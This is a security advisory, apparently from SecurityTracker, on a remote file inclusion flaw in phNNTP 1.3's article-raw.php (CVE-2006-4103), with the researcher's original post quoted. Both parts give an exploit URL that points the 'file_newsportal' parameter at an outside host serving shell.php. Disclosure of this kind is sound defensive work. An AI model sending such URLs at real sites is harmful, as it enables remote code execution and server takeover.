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Category:   Application (News)  >   phNNTP Vendors:   phnntp.sourceforge.net
phNNTP Include File Flaw in 'file_newsportal' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016668
SecurityTracker URL:  http://securitytracker.com/id/1016668
CVE Reference:   CVE-2006-4103   (Links to External Site)
Updated:  Jun 8 2008
Original Entry Date:  Aug 9 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.3
Description:   A vulnerability was reported in phNNTP. A remote user can include and execute arbitrary code on the target system.

The 'article-raw.php' script does not properly validate user-supplied input in the 'file_newsportal' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/Dir_phNNTP/article-raw.php?file_newsportal=http://[www.evalsite.com]/shell.php?

Tr_ZiNDaN reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  sourceforge.net/projects/phnntp/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability

phNNTP v1.3 Remote File Inclusion

CreW: ToxiC
By:Tr_ZiNDaN
mail:tr_zindan@wolfsecurity.org
Source Code:
http://freshmeat.net/redir/phnntp/16290/url_tgz/phNNTP-v1.3.tar.gz

Problem Is:
require("$file_newsportal");

Page Affect:
article-raw.php

Path:
Declare file_newsportal

ExPLoit:
http://www.site.com/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalsite.com/shell.php?

Greatz: WolfSecurtyTeam,EL_MuHaMMED,CyberWolf...



 
 


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